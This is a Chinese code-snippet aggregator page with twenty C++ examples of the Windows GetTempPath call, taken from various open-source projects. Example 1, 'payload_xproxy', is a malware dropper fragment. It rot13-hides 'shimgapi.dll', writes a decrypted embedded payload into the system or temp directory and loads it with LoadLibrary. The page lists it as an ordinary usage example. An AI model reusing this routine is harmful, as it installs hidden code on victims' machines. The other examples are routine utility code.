本文整理汇总了C++中GetTempPath函数的典型用法代码示例。如果您正苦于以下问题:C++ GetTempPath函数的具体用法?C++ GetTempPath怎么用?C++ GetTempPath使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetTempPath函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: payload_xproxy
void payload_xproxy(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20];
HANDLE hFile;
int i;
rot13(fname, "fuvztncv.qyy"); /* "shimgapi.dll" */
sync->xproxy_state = 0;
for (i=0; i<2; i++) {
if (i == 0)
GetSystemDirectory(fpath, sizeof(fpath));
else
GetTempPath(sizeof(fpath), fpath);
if (fpath[0] == 0) continue;
if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
lstrcat(fpath, fname);
hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
continue;
sync->xproxy_state = 2;
lstrcpy(sync->xproxy_path, fpath);
break;
}
decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
CloseHandle(hFile);
sync->xproxy_state = 1;
lstrcpy(sync->xproxy_path, fpath);
break;
}
if (sync->xproxy_state == 1) {
LoadLibrary(sync->xproxy_path);
sync->xproxy_state = 2;
}
}
开发者ID:Adrellias,项目名称:Code-Dump,代码行数:36,代码来源:main.c
示例2: lcb_get_tmpdir
const char *
lcb_get_tmpdir(void)
{
#if defined(_WIN32)
static char buf[MAX_PATH+1] = { 0 };
if (buf[0]) {
return buf;
}
GetTempPath(sizeof buf, buf);
return buf;
#else
const char *ret;
if ((ret = getenv("TMPDIR")) != NULL) {
return ret;
} else {
#if defined(_POSIX_VERSION)
return "/tmp";
#else
return ".";
#endif
}
#endif
}
开发者ID:Ramzi-Alqrainy,项目名称:libcouchbase,代码行数:24,代码来源:utilities.c
示例3: TestingSetup
TestingSetup() {
fPrintToDebugLog = false; // don't want to write to debug.log file
noui_connect();
#ifdef ENABLE_WALLET
bitdb.MakeMock();
#endif
pathTemp = GetTempPath() / strprintf("test_sidecoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
boost::filesystem::create_directories(pathTemp);
mapArgs["-datadir"] = pathTemp.string();
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(*pcoinsdbview);
InitBlockIndex();
#ifdef ENABLE_WALLET
bool fFirstRun;
pwalletMain = new CWallet("wallet.dat");
pwalletMain->LoadWallet(fFirstRun);
RegisterWallet(pwalletMain);
#endif
nScriptCheckThreads = 3;
for (int i=0; i < nScriptCheckThreads-1; i++)
threadGroup.create_thread(&ThreadScriptCheck);
RegisterNodeSignals(GetNodeSignals());
}
开发者ID:csbitcoin,项目名称:sidecoin,代码行数:24,代码来源:test_sidecoin.cpp
示例4: scanDirs
static void scanDirs(void)
{
HMODULE hModule = GetModuleHandleW(NULL);
char path[MAX_PATH];
int pathlength;
//Fetch absolue .exe path
pathlength = GetModuleFileName(hModule, path, MAX_PATH);
dataDir = calloc(pathlength + 1, sizeof(char));
memcpy(dataDir, path, pathlength);
ccStringTrimToChar(dataDir, '\\', true);
ccStringReplaceChar(dataDir, '\\', '/');
//User dir
userDir = USERHOME;
//Temp directory
pathlength = GetTempPath(MAX_PATH, path);
tempDir = calloc(pathlength + 1, sizeof(char));
memcpy(tempDir, path, pathlength);
ccStringReplaceChar(tempDir, '\\', '/');
}
开发者ID:ccore,项目名称:ccore,代码行数:24,代码来源:win_file.c
示例5: GetTempPath
const char * MWindow::getTempDirectory(void)
{
static char tempDirectory[256];
TCHAR shortPath[MAX_PATH];
GetTempPath(MAX_PATH, shortPath);
LPCTSTR lpszShortPath = shortPath;
DWORD buffSize = MAX_PATH;
LPTSTR lpszLongPath = (LPTSTR)malloc(buffSize *sizeof(TCHAR));
DWORD result = GetLongPathName(lpszShortPath, lpszLongPath, buffSize);
if(result > MAX_PATH)
{
delete lpszLongPath;
buffSize = result;
lpszLongPath = (LPTSTR)malloc(buffSize*sizeof(TCHAR));
if(! GetLongPathName(lpszShortPath, lpszLongPath, buffSize))
return NULL;
}
strcpy(tempDirectory, lpszLongPath);
return tempDirectory;
}
开发者ID:mconbere,项目名称:Newt,代码行数:24,代码来源:MWin32Window.cpp
示例6: mirGetTempFileName
MBASEAPI BOOL MIRACLEEXPORT mirGetTempFileName(CString &FileName)
{
const int buffersize = FILE_PATH_MAX;
TCHAR szTempPath[buffersize];
TCHAR szTempName[buffersize];
DWORD dwRetVal = GetTempPath(buffersize,szTempPath); // buffer for path
if (dwRetVal > buffersize || (dwRetVal == 0))
{
logErrorVA("GetTempPath failed (%d)\n", GetLastError());
return FALSE;
}
UINT uRetVal = GetTempFileName(szTempPath, // directory for tmp files
TEXT("MIF"), // temp file name prefix
0, // create unique name
szTempName); // buffer for name
if (uRetVal == 0)
{
logErrorVA("GetTempFileName failed (%d)\n", GetLastError());
return FALSE;
}
FileName = szTempName;
return TRUE;
}
开发者ID:hozgur,项目名称:Colorway,代码行数:24,代码来源:globalfunctions.cpp
示例7: plat_gettmpdir
const char* plat_gettmpdir()
{
static char s_tmpdir[MAX_PATH];
if (!s_tmpdir[0])
{
DWORD ret = GetTempPath(MAX_PATH, s_tmpdir);
if ((ret == 0) || (ret > MAX_PATH))
{
// Ugh. Try several environment variables and just
// set to c:\\temp if all those fail.
const char *tmpdir = getenv("TMP");
if (!tmpdir)
{
tmpdir = getenv("TEMP");
if (!tmpdir)
{
tmpdir = getenv("USERPROFILE");
if (!tmpdir)
tmpdir = "c:\\temp";
}
}
strncpy(s_tmpdir, tmpdir, sizeof(s_tmpdir));
s_tmpdir[sizeof(s_tmpdir) - 1] = 0;
}
// Remove trailing slash.
size_t slen = strlen(s_tmpdir);
if ((slen > 0) && (s_tmpdir[slen - 1] == '\\'))
s_tmpdir[--slen] = 0;
}
return s_tmpdir;
}
开发者ID:gchatelet,项目名称:vogl,代码行数:36,代码来源:vogl_port_windows.cpp
示例8: DllMain
// dllmain
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID) {
g_hInst = hInst;
if( dwReason == DLL_PROCESS_ATTACH ) {
{
char temp[MAX_PATH];
GetTempPath(sizeof(temp),temp);
GetLongPathName(temp,TEMP,sizeof(TEMP));
TEMP_SIZE = strlen(TEMP);
if(TEMP[TEMP_SIZE-1]=='\\') {
TEMP_SIZE--;
TEMP[TEMP_SIZE]='\0';
}
}
InitializeCriticalSection(&localQueueMutex);
InitializeCriticalSection(&localContextMutex);
#ifdef _DEBUG
isVista = 1;
#else
isVista = ( (DWORD)(LOBYTE(LOWORD(GetVersion()))) == 6 );
#endif
}
//DLL_THREAD_ATTACH
return TRUE;
}
开发者ID:sportarup,项目名称:miranda-dev,代码行数:25,代码来源:main.cpp
示例9: rs
bool EVUtil::ODBCGetOLEImage( int iID,CString& strName )
{
if(m_db.IsOpen())
{
CdbImages rs(&m_db);
//CString sql;
//sql.Format(_T("select * from 数据 where id=%d "),iID);
//rs.Open(CRecordset::dynaset,sql);//*/
rs.Open();
if(rs.IsOpen())
{
rs.MoveFirst();
while(!rs.IsEOF())
{
if ( rs.m_iID!=iID )
{
rs.MoveNext();
continue;
}
TCHAR tmpPath[_MAX_PATH+1];
GetTempPath(_MAX_PATH,tmpPath);
strName.Insert(0,tmpPath);
CFile outFile(strName,CFile::modeCreate|CFile::modeWrite);
LPSTR buffer = (LPSTR)GlobalLock(rs.m_BLOBImage.m_hData);
outFile.Write(buffer,rs.m_BLOBImage.m_dwDataLength);
GlobalUnlock(rs.m_BLOBImage.m_hData);
outFile.Close();
break;
}
}
}
return false;
}
开发者ID:douzsh,项目名称:douzsh,代码行数:36,代码来源:EVUtil.cpp
示例10: TEXT
void CorePlugin::enableLog() {
#ifdef DEBUG
#ifdef WIN32
WCHAR szPath[MAX_PATH];
WCHAR szFileName[MAX_PATH];
WCHAR* szAppName = TEXT(FBSTRING_PluginFileName);
DWORD dwBufferSize = MAX_PATH;
SYSTEMTIME stLocalTime;
GetLocalTime(&stLocalTime);
GetTempPath(dwBufferSize, szPath);
//ExpandEnvironmentStrings(L"%SYSTEMDRIVE%", szPath, MAX_PATH);
//StringCchCat(szPath, MAX_PATH, L"\\TEMP\\");
StringCchPrintf(szFileName, MAX_PATH, L"%s\\%s-%04d%02d%02d-%02d%02d%02d-%ld-%ld.log",
szPath, szAppName,
stLocalTime.wYear, stLocalTime.wMonth, stLocalTime.wDay,
stLocalTime.wHour, stLocalTime.wMinute, stLocalTime.wSecond,
GetCurrentProcessId(), GetCurrentThreadId());
s_log_file = _wfopen(szFileName, L"w+");
#endif //WIN32
#endif //DEBUG
linphone_core_enable_logs_with_cb(CorePlugin::log);
}
开发者ID:ayham-hassan,项目名称:linphone-web-plugin,代码行数:24,代码来源:coreplugin.cpp
示例11: switch
CString CHttpFileDownload::GetDownPath()
{
switch (m_nDownMethod){
case HTTP_DOWNLOAD_PATH_EXECUTE:
m_strDownPath = GetExecutePath();
break;
case HTTP_DOWNLOAD_PATH_TEMP:
m_strDownPath = GetTempPath();
break;
case HTTP_DOWNLOAD_PATH_USER:
if(SetDownPath(m_strDownPath)){
if(!CheckFolder(m_strDownPath))
m_strDownPath = "";
}
break;
default:
m_strDownPath = "";
}
return m_strDownPath;
}
开发者ID:jongha,项目名称:update-dll,代码行数:24,代码来源:HttpFileDownload.cpp
示例12: dlg
BOOL CDBFExplorerDoc::OnNewDocument()
{
if (!CDocument::OnNewDocument())
return FALSE;
CStructureDlg dlg(AfxGetMainWnd());
dlg.m_strTitle = _T("Create New DBF file");
if (dlg.DoModal() == IDOK)
{
TCHAR szPath[MAX_PATH];
GetTempPath(_countof(szPath), szPath);
_tmakepath(m_szTempFileName, NULL, szPath, GetTitle(), _T(DBF_FILEEXT));
if (m_dBaseFile->Create(m_szTempFileName, dlg.m_strFieldArray) == DBASE_SUCCESS)
{
if (OnOpenDocument(m_szTempFileName))
{
SetModifiedFlag(TRUE);
return TRUE;
}
return FALSE;
}
}
return FALSE;
}
开发者ID:tchv71,项目名称:StartPP,代码行数:24,代码来源:DBFExplorerDoc.cpp
示例13: alloctmpfile
HANDLE alloctmpfile(TCHAR *tmpfilename, int namelen, size_w length)
{
HANDLE hFile;
if(namelen < MAX_PATH)
return 0;
if(GetTempPath(namelen, tmpfilename))
{
if(GetTempFileName(tmpfilename, TEXT("~HX"), 0, tmpfilename))
{
hFile = allocfile(tmpfilename, length);
if(hFile != INVALID_HANDLE_VALUE)
{
return hFile;
}
DeleteFile(tmpfilename);
}
}
return 0;
}
开发者ID:rajeshpillai,项目名称:HexEdit,代码行数:24,代码来源:seqbuf.cpp
示例14: file_temp
FILE * /* O - Temporary file */
file_temp(char *name, /* O - Filename */
int len) /* I - Length of filename buffer */
{
FILE *fp; /* File pointer */
int fd; /* File descriptor */
#ifdef WIN32
char tmpdir[1024]; /* Buffer for temp dir */
#else
const char *tmpdir; /* Temporary directory */
#endif /* WIN32 */
web_cache[web_files].name = NULL;
web_cache[web_files].url = NULL;
web_files ++;
#ifdef WIN32
GetTempPath(sizeof(tmpdir), tmpdir);
#else
if ((tmpdir = getenv("TMPDIR")) == NULL)
tmpdir = "/var/tmp";
#endif /* WIN32 */
snprintf(name, len, TEMPLATE, tmpdir, getpid(), web_files);
if ((fd = open(name, OPENMODE, OPENPERM)) >= 0)
fp = fdopen(fd, "w+b");
else
fp = NULL;
if (!fp)
web_files --;
return (fp);
}
开发者ID:svn2github,项目名称:htmldoc,代码行数:36,代码来源:file.c
示例15: InitGlobal
BOOL InitGlobal()
{
//g_TEMP_BASE_PATH: Get the system temporary path
DWORD dwLenInstallerPath = MAX_PATH_SIZE;
GetTempPath(dwLenInstallerPath, (LPTSTR)g_TEMP_BASE_PATH);
//g_TEMP_JAVAWS_PATH: Generate a unique temporary directory
GetTempDirName(g_TEMP_BASE_PATH, g_TEMP_JAVAWS_PATH);
CreateDirectory(g_TEMP_JAVAWS_PATH, NULL);
//Get Javaws home path
if(GetJavawsHome() == 0)
{
return false;
};
//g_TEMP_INSTALLER_JAR: Get the full path name for the jar file to be generated
sprintf(g_TEMP_INSTALLER_JAR, "%s\\%s", g_TEMP_JAVAWS_PATH, "installer.jar");
//g_TEMP_JAVAWS_URL: Get the url mode of installer.jar's path
char tempUrl[MAX_PATH_SIZE] = {0};
int iNumber = 0;
while (g_TEMP_JAVAWS_PATH[iNumber]) {
for(int i=0; i<sizeof(g_TEMP_JAVAWS_PATH); i++) {
if(g_TEMP_JAVAWS_PATH[i]=='\\') {
tempUrl[i] = '/';
} else {
tempUrl[i] = g_TEMP_JAVAWS_PATH[i];
}
}
iNumber++;
}
sprintf(g_TEMP_JAVAWS_URL, "file:///%s", tempUrl);
return true;
}
开发者ID:M6C,项目名称:com-parzing-ui-swing,代码行数:36,代码来源:MsiActions.cpp
示例16: RemoveEntryFromGarbageRegistry
static bool RemoveEntryFromGarbageRegistry(const char* filename)
{
char gbgFile[2048];
GetTempPath(2048, gbgFile);
strcat(gbgFile, "VBATempFileRecords");
char key[64];
int i = 0;
int deleteSlot = -1;
while(true)
{
sprintf(key, "File%d", i);
GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);
if(!*Str_Tmp)
break;
if(!strcmp(Str_Tmp, filename))
deleteSlot = i;
i++;
}
--i;
if(i >= 0 && deleteSlot >= 0)
{
if(i != deleteSlot)
{
sprintf(key, "File%d", i);
GetPrivateProfileString("Files", key, "", Str_Tmp, 2048, gbgFile);
sprintf(key, "File%d", deleteSlot);
WritePrivateProfileString("Files", key, Str_Tmp, gbgFile);
}
sprintf(key, "File%d", i);
if(0 == WritePrivateProfileString("Files", key, NULL, gbgFile))
return false;
}
if(i <= 0 && deleteSlot == 0)
_unlink(gbgFile);
return true;
}
开发者ID:a65090482,项目名称:vba-rerecording,代码行数:36,代码来源:OpenArchive.cpp
示例17: getTempPath
int getTempPath(char *buff)
{
int i;
char *ret;
char prefix[16];
GetTempPath(MAX_PATH, buff);
sprintf(prefix, "_MEI%d", getpid());
// Windows does not have a race-free function to create a temporary
// directory. Thus, we rely on _tempnam, and simply try several times
// to avoid stupid race conditions.
for (i=0;i<5;i++) {
ret = _tempnam(buff, prefix);
if (mkdir(ret) == 0) {
strcpy(buff, ret);
strcat(buff, "\\");
free(ret);
return 1;
}
free(ret);
}
return 0;
}
开发者ID:C4rt,项目名称:pyinstaller,代码行数:24,代码来源:launch.c
示例18: BasicTestingSetup
TestingSetup::TestingSetup(CBaseChainParams::Network network) : BasicTestingSetup(network)
{
#ifdef ENABLE_WALLET
bitdb.MakeMock();
#endif
ClearDatadirCache();
pathTemp = GetTempPath() / strprintf("test_drivercoin_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
boost::filesystem::create_directories(pathTemp);
mapArgs["-datadir"] = pathTemp.string();
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(pcoinsdbview);
InitBlockIndex();
#ifdef ENABLE_WALLET
bool fFirstRun;
pwalletMain = new CWallet("wallet.dat");
pwalletMain->LoadWallet(fFirstRun);
RegisterValidationInterface(pwalletMain);
#endif
nScriptCheckThreads = 3;
for (int i=0; i < nScriptCheckThreads-1; i++)
threadGroup.create_thread(&ThreadScriptCheck);
RegisterNodeSignals(GetNodeSignals());
}
开发者ID:drivercoin,项目名称:drivercoin,代码行数:24,代码来源:test_bitcoin.cpp
示例19: DllMain
Bool APIENTRY DllMain( HINSTANCE hModule,
uint32_t ul_reason_for_call,
pvoid lpReserved )
{
char * p;
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
ghInst = hModule;
GetModuleFileName(hModule,szPath,sizeof(szPath));
if(p = strstr(_strupr(szPath),"cuneiform.dll"))
*(p-1)=0;
else
{
MessageBox(NULL,"Start folder cuneiform.dll not found!",NULL,MB_ICONSTOP);
return FALSE;
}
if(GetTempPath(sizeof(szTempPath),szTempPath))
sprintf(szStorage,szFormatStorageName,szTempPath);
else
{
MessageBox(NULL,"Temporary folder PUMA.DLL not found!",NULL,MB_ICONSTOP);
return FALSE;
}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
开发者ID:chadheyne,项目名称:cuneiform-by,代码行数:36,代码来源:dll.cpp
示例20: while
WDL_SHM_Connection::WDL_SHM_Connection(bool whichChan,
const char *uniquestring, // identify
int shmsize, // bytes, whoever opens first decides
int timeout_sec
)
{
m_timeout_sec=timeout_sec;
m_last_recvt=time(NULL)+2; // grace period
{ // make shmsize the next power of two
int a = shmsize;
shmsize=2;
while (shmsize < SHM_MINSIZE || shmsize<a) shmsize*=2;
}
m_file=INVALID_HANDLE_VALUE;
m_filemap=NULL;
m_mem=NULL;
m_events[0]=m_events[1]=NULL;
m_whichChan=whichChan ? 1 : 0;
char buf[512];
GetTempPath(sizeof(buf)-4,buf);
if (!buf[0]) lstrcpyn(buf,"C:\\",32);
if (buf[strlen(buf)-1] != '/' && buf[strlen(buf)-1] != '\\') strcat(buf,"\\");
m_tempfn.Set(buf);
m_tempfn.Append("WDL_SHM_");
m_tempfn.Append(uniquestring);
m_tempfn.Append(".tmp");
HANDLE mutex=NULL;
{
WDL_String tmp;
tmp.Set("WDL_SHM_");
tmp.Append(uniquestring);
tmp.Append(".mutex");
mutex = CreateMutex(NULL,FALSE,tmp.Get());
}
if (mutex) WaitForSingleObject(mutex,INFINITE);
DeleteFile(m_tempfn.Get()); // this is designed to fail if another process has it locked
m_file=CreateFile(m_tempfn.Get(),GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_TEMPORARY,NULL);
int mapsize;
if (m_file != INVALID_HANDLE_VALUE &&
((mapsize=GetFileSize(m_file,NULL)) < SHM_HDRSIZE+SHM_MINSIZE*2 ||
mapsize == 0xFFFFFFFF))
{
WDL_HeapBuf tmp;
memset(tmp.Resize(shmsize*2 + SHM_HDRSIZE),0,shmsize*2 + SHM_HDRSIZE);
((int *)tmp.Get())[0] = shmsize;
DWORD d;
WriteFile(m_file,tmp.Get(),tmp.GetSize(),&d,NULL);
}
if (mutex)
{
ReleaseMutex(mutex);
CloseHandle(mutex);
}
if (m_file!=INVALID_HANDLE_VALUE)
m_filemap=CreateFileMapping(m_file,NULL,PAGE_READWRITE,0,0,NULL);
if (m_filemap)
{
m_mem=(unsigned char *)MapViewOfFile(m_filemap,FILE_MAP_WRITE,0,0,0);
WDL_String tmp;
if (!(GetVersion()&0x80000000)) tmp.Set("Global\\WDL_SHM_");
else tmp.Set("WDL_SHM_");
tmp.Append(uniquestring);
tmp.Append(".1");
m_events[0]=CreateEvent(NULL,false,false,tmp.Get());
tmp.Get()[strlen(tmp.Get())-1]++;
m_events[1]=CreateEvent(NULL,false,false,tmp.Get());
}
}
开发者ID:aidush,项目名称:openmpt,代码行数:85,代码来源:shm_connection.cpp
注:本文中的GetTempPath函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论